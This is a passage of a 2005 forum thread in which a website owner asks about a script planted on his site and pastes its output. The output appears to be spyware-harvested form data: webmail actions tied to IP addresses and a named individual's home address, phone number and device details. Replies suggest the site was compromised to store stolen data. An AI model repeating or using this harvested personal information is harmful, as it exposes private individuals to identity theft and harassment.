    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=677&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=676&PREV_MSG=678&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D677%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=676&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=675&PREV_MSG=677&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D676%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=675&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=674&PREV_MSG=676&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D675%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=674&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=673&PREV_MSG=675&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D674%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=673&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=672&PREV_MSG=674&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D673%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=672&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=671&PREV_MSG=673&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D672%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=671&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=670&PREV_MSG=672&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D671%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=670&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=669&PREV_MSG=671&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D670%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=669&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=668&PREV_MSG=670&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D669%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/read.html data: MSG_UID=668&IDMSG=667&uids=668&FOLDER=SF_INBOX&FOLDER_ENCODE=SF_INBOX&FOLDER_DEST=SF_JUNK&TYPE=&PAGE=read.html&URL_VALID=inbox_submit_expunge.html&URL_CANCEL=read.html&MESSAGE=CONFIRM_DELETE&PARAM1=1&CONFIRM_DELETE=true&ADDRESS_TO_BLOCK=&from=&FILTERED_EMAILS=&SEARCH=NOK&URL_UNSEEN=inbox.html&FROM_SEARCH=NOK&MESSAGE_NATURE=EMAIL-NATURE&MESSAGE_CONFIRM=&ROOT=inbox.html&ORIGIN=SYSTEM_FOLDER&maildisplay_option=0&selcheck0=on&selname_0=easyJet.com&selemail_0=&READ_MAIL=OK&selcheck1=on&selname_1=&selemail_1=&msgId=
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=667&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=666&PREV_MSG=668&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D667%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=666&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=665&PREV_MSG=667&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D666%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=665&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=664&PREV_MSG=666&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D665%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=664&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=663&PREV_MSG=665&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D664%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=663&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=662&PREV_MSG=664&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D663%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=662&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=661&PREV_MSG=663&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D662%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=661&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=660&PREV_MSG=662&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D661%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=660&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=659&PREV_MSG=661&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D660%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=659&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=658&PREV_MSG=660&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D659%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=658&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=544&PREV_MSG=659&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D658%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/read.html data: MSG_UID=544&IDMSG=144&uids=544&FOLDER=SF_INBOX&FOLDER_ENCODE=SF_INBOX&FOLDER_DEST=SF_JUNK&TYPE=&PAGE=read.html&URL_VALID=inbox_submit_expunge.html&URL_CANCEL=read.html&MESSAGE=CONFIRM_DELETE&PARAM1=1&CONFIRM_DELETE=true&ADDRESS_TO_BLOCK=&from=&FILTERED_EMAILS=&SEARCH=NOK&URL_UNSEEN=inbox.html&FROM_SEARCH=NOK&MESSAGE_NATURE=EMAIL-NATURE&MESSAGE_CONFIRM=&ROOT=inbox.html&ORIGIN=SYSTEM_FOLDER&maildisplay_option=0&selcheck0=on&selname_0=&selemail_0=&READ_MAIL=OK&selcheck1=on&selname_1=&selemail_1=&msgId=
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/read.html data: MSG_UID=144&IDMSG=7&uids=144&FOLDER=SF_INBOX&FOLDER_ENCODE=SF_INBOX&FOLDER_DEST=SF_JUNK&TYPE=&PAGE=read.html&URL_VALID=inbox_submit_expunge.html&URL_CANCEL=read.html&MESSAGE=CONFIRM_DELETE&PARAM1=1&CONFIRM_DELETE=true&ADDRESS_TO_BLOCK=&from=&FILTERED_EMAILS=&SEARCH=NOK&URL_UNSEEN=inbox.html&FROM_SEARCH=NOK&MESSAGE_NATURE=EMAIL-NATURE&MESSAGE_CONFIRM=&ROOT=inbox.html&ORIGIN=SYSTEM_FOLDER&maildisplay_option=0&selcheck0=on&selname_0=&selemail_0=&READ_MAIL=OK&selcheck1=on&selname_1=&selemail_1=&msgId=
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/read.html data: MSG_UID=7&IDMSG=6&uids=7&FOLDER=SF_INBOX&FOLDER_ENCODE=SF_INBOX&FOLDER_DEST=SF_JUNK&TYPE=&PAGE=read.html&URL_VALID=inbox_submit_expunge.html&URL_CANCEL=read.html&MESSAGE=CONFIRM_DELETE&PARAM1=1&CONFIRM_DELETE=true&ADDRESS_TO_BLOCK=&from=&FILTERED_EMAILS=&SEARCH=NOK&URL_UNSEEN=inbox.html&FROM_SEARCH=NOK&MESSAGE_NATURE=EMAIL-NATURE&MESSAGE_CONFIRM=&ROOT=inbox.html&ORIGIN=SYSTEM_FOLDER&maildisplay_option=0&selcheck0=on&selname_0=Mail+Delivery+System&selemail_0=&READ_MAIL=OK&selcheck1=on&selname_1=&selemail_1=&msgId=
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/read.html data: MSG_UID=6&IDMSG=5&uids=6&FOLDER=SF_INBOX&FOLDER_ENCODE=SF_INBOX&FOLDER_DEST=SF_JUNK&TYPE=&PAGE=read.html&URL_VALID=inbox_submit_expunge.html&URL_CANCEL=read.html&MESSAGE=CONFIRM_DELETE&PARAM1=1&CONFIRM_DELETE=true&ADDRESS_TO_BLOCK=&from=&FILTERED_EMAILS=&SEARCH=NOK&URL_UNSEEN=inbox.html&FROM_SEARCH=NOK&MESSAGE_NATURE=EMAIL-NATURE&MESSAGE_CONFIRM=&ROOT=inbox.html&ORIGIN=SYSTEM_FOLDER&maildisplay_option=0&selcheck0=on&selname_0=&selemail_0=&READ_MAIL=OK&selcheck1=on&selname_1=&selemail_1=&msgId=
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/read.html data: MSG_UID=5&IDMSG=6&uids=5&FOLDER=SF_INBOX&FOLDER_ENCODE=SF_INBOX&FOLDER_DEST=SF_JUNK&TYPE=&PAGE=read.html&URL_VALID=inbox_submit_expunge.html&URL_CANCEL=read.html&MESSAGE=CONFIRM_DELETE&PARAM1=1&CONFIRM_DELETE=true&ADDRESS_TO_BLOCK=&from=&FILTERED_EMAILS=&SEARCH=NOK&URL_UNSEEN=inbox.html&FROM_SEARCH=NOK&MESSAGE_NATURE=EMAIL-NATURE&MESSAGE_CONFIRM=&ROOT=inbox.html&ORIGIN=SYSTEM_FOLDER&maildisplay_option=0&selcheck0=on&selname_0=TWebilling&selemail_0=&READ_MAIL=OK&selcheck1=on&selname_1=&selemail_1=&msgId=
    ID=6E0F88F69B462F09 IP=81.168.54.79 title=AdTrader classifieds, Free local classified ads with images - Microsoft Internet Explorer URL=http://www.adtrader.co.uk/postcode_splash.php data: postcode=NR6+7BQ&image.x=15&image.y=10
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://www.pcservicecall.co.uk - Recovery Media Request - Microsoft Internet Explorer URL=http://www.pcservicecall.co.uk/recoverymedia/request.aspx data: __VIEWSTATE=dDw1MTIzOTk2MjA7dDw7bDxpPDE%2BOz47bDx0PDtsPGk8Mj47aTwzPjs%2BO2w8dDxwPHA8bDxWaXNpYmxlOz47bDxvPGY%2BOz4%2BOz47Oz47dDxwPHA8bDxWaXNpYmxlOz47bDxvPGY%2BOz4%2BOz47Oz47Pj47Pj47bDxjaGJSZWNvdmVyeTtjaGJVcGRhdGU7Pj44jeJHXk%2FtbIMZUTwroCPX63kdfw%3D%3D&ddlTitle=Mr&txtSurname=Johnston&txtAddress1=9+Ayr+Drive&txtAddress2=Jarrow&txtAddress3=Tyne+%26+Wear&txtAddress4=&txtPostcode=NE32+4AW&txtCountry=United+Kingdom&txtPhone=01914225810&txtEmail=&txtDelAddress1=&txtDelAddress2=&txtDelAddress3=&txtDelAddress4=&txtDelPostcode=&txtDelCountry=&txtDelPhone=&txtDelEmail=&txtEvoke=1192156828&txtDOP=2004&txtReceipt=unknown&txtBranch=Gateshead&txtCoverplan=1192156828&txtMake=E+Machine&txtModel=270&txtSerialNumber=QIM2B+511+01964&chbRecovery=on&chbUpdate=on&txtReason=THE+RECOVERY+DISCS+THAT+I+HAVE+ARE+SCRATCHED+%28+The+discs+are+scratched+on+the+back+and+i+can+see+through+the+disc%29+AND+ARE+NOT+USABLE.+INEED+A+REPLACEMENT+OR+COPY+OF+THE+SE+DISCS&btnSubmit=Submit
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=773&FOLDER=SF_INBOX&REDIRECT_SUCCESS=read.html%3FIDMSG%3D__IDMSG__%26FOLDER%3DSF_INBOX%26ORIGIN%3DSYSTEM_FOLDER&REDIRECT_REFRESH=inbox.html&REDIRECT_SUCCESS_LAST_MESSAGE=inbox.html&SAVE_INTO_TRASH=1&REDIRECT_NO_NEXT_PREV=inbox.html&GOTO_ANOTHER_MSG=1&NEXT_MSG=770&PREV_MSG=775&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE&PARAM1=1&URL_CANCEL=read.html%3FIDMSG%3D773%26FOLDER%3DSF_INBOX&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/delete_submit.html data: uids=791%2C790%2C789%2C788%2C787%2C786%2C785%2C784%2C783%2C782%2C781%2C780%2C779%2C778%2C777%2C776%2C775%2C774%2C&FOLDER=SF_INBOX&REDIRECT_SUCCESS=inbox.html%3FPAGE%3D1&REDIRECT_REFRESH=inbox.html&SAVE_INTO_TRASH=1&CONFIRM_DELETE=true&MESSAGE=CONFIRM_DELETE_MANY&PARAM1=18&PAGE=1&URL_CANCEL=inbox.html&URL_VALID=delete_submit.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/folder_submit_delete_msg_from_list.html data: FOLDER=SF_TRASH&SAVE_INTO_TRASH=1&URL_CANCEL=folders.html&URL_VALID=folder_submit_delete_msg_from_list.html
    ID=1E7CA46720A1E9B0 IP=82.39.248.31 title=http://email01.wanadoo.co.uk - Wanadoo webmail - Microsoft Internet Explorer URL=http://email01.wanadoo.co.uk/webmail/en_GB/folder_submit_user_creation.html data: folderName=Saved+Mail
    a.d., Nov 17, 2005
    #1
    1. Advertising

  2. a.d.

    a.d. Guest

    a.d. wrote:

    <snip>
    > I've attached a sample of the output.

    </snip>

    I'll refrain from attaching in future. Sorry.
    a.d., Nov 17, 2005
    #2
    1. Advertising

  3. a.d.

    GraB Guest

    On Fri, 18 Nov 2005 01:28:52 +1300, "a.d." <> wrote:

    >a.d. wrote:
    >
    ><snip>
    >> I've attached a sample of the output.

    ></snip>
    >
    >I'll refrain from attaching in future. Sorry.


    Could be someone using your space and bandwidth. That happened to a
    friend of mine with his site.
    GraB, Nov 17, 2005
    #3
  4. a.d.

    AD. Guest

    On Fri, 18 Nov 2005 01:20:01 +1300, a.d. wrote:

    > Hi All
    >
    > Anybody mind telling me what this script does? It mysteriously appeared in
    > a directory on my web site and seems to get a few thousand hits a week,
    > (more than more own pages!). To me, it looks like it's data harvesting
    > from MSN or something, but what the heck is it's purpose and WHY did
    > someone put it on my site???


    I'd be more concerned with how it got there than what it does.

    --
    Cheers
    Anton
    AD., Nov 17, 2005
    #4
  5. a.d.

    a.d. Guest

    AD. wrote:
    > On Fri, 18 Nov 2005 01:20:01 +1300, a.d. wrote:
    >
    >
    >>Hi All
    >>
    >>Anybody mind telling me what this script does? It mysteriously appeared in
    >>a directory on my web site and seems to get a few thousand hits a week,
    >>(more than more own pages!). To me, it looks like it's data harvesting
    >>from MSN or something, but what the heck is it's purpose and WHY did
    >>someone put it on my site???

    >
    >
    > I'd be more concerned with how it got there than what it does.
    >


    Damn shared service location - I think, FTP logs show no record of it
    being uploaded. I've made my admin password a gajillion times more
    secure now.

    I did replace it though... just to see if it would stop. My source code
    below:

    <?php
    header("Location:
    http://www.cia.gov/?i_hacked_this_guys_site_and_need_a_good_spanking");
    ?>
    a.d., Nov 18, 2005
    #5
  6. a.d.

    steve Guest

    a.d. wrote:

    > Hi All
    >
    > Anybody mind telling me what this script does? It mysteriously appeared
    > in a directory on my web site and seems to get a few thousand hits a
    > week, (more than more own pages!). To me, it looks like it's data
    > harvesting from MSN or something, but what the heck is it's purpose and
    > WHY did someone put it on my site???



    You know the attachments seems to contain some IM mesaages that could be
    deemed to be compromising?

    They name names and ID people...and say things like someone (named) had an
    affair with someone else......
    steve, Nov 18, 2005
    #6
  7. a.d.

    AD. Guest

    On Fri, 18 Nov 2005 16:49:10 +1300, a.d. wrote:

    >> I'd be more concerned with how it got there than what it does.
    >>
    >>

    > Damn shared service location - I think, FTP logs show no record of it
    > being uploaded. I've made my admin password a gajillion times more secure
    > now.


    You don't have any world writable directories do you?

    If you don't, I'd be a little worried about the hosts security.

    > I did replace it though... just to see if it would stop. My source code
    > below:
    >
    > <?php
    > header("Location:
    > http://www.cia.gov/?i_hacked_this_guys_site_and_need_a_good_spanking"); ?>


    hehe nice :)

    --
    Cheers
    Anton
    AD., Nov 18, 2005
    #7
  8. a.d.

    AD. Guest

    On Fri, 18 Nov 2005 16:49:10 +1300, a.d. wrote:

    >> I'd be more concerned with how it got there than what it does.
    >>
    >>

    > Damn shared service location - I think, FTP logs show no record of it
    > being uploaded. I've made my admin password a gajillion times more secure
    > now.


    You don't have any world writable directories do you?

    If you don't, I'd be a little worried about the hosts security.

    > I did replace it though... just to see if it would stop. My source code
    > below:
    >
    > <?php
    > header("Location:
    > http://www.cia.gov/?i_hacked_this_guys_site_and_need_a_good_spanking"); ?>


    hehe nice :)

    --
    Cheers
    Anton
    AD., Nov 18, 2005
    #8
  9. a.d.

    Mark C Guest

    "a.d." <> wrote in news::

    > Hi All
    >
    > Anybody mind telling me what this script does? It mysteriously
    > appeared in a directory on my web site and seems to get a few
    > thousand hits a week, (more than more own pages!). To me, it
    > looks like it's data harvesting from MSN or something, but what
    > the heck is it's purpose and WHY did someone put it on my
    > site???


    My guess is that your site has been hacked and is being used to
    harvest emails from other people who also have been hacked.

    Your site is being used for storage of the emails. The trap.php
    script is how the spyware on the other PCs gets the emails into your
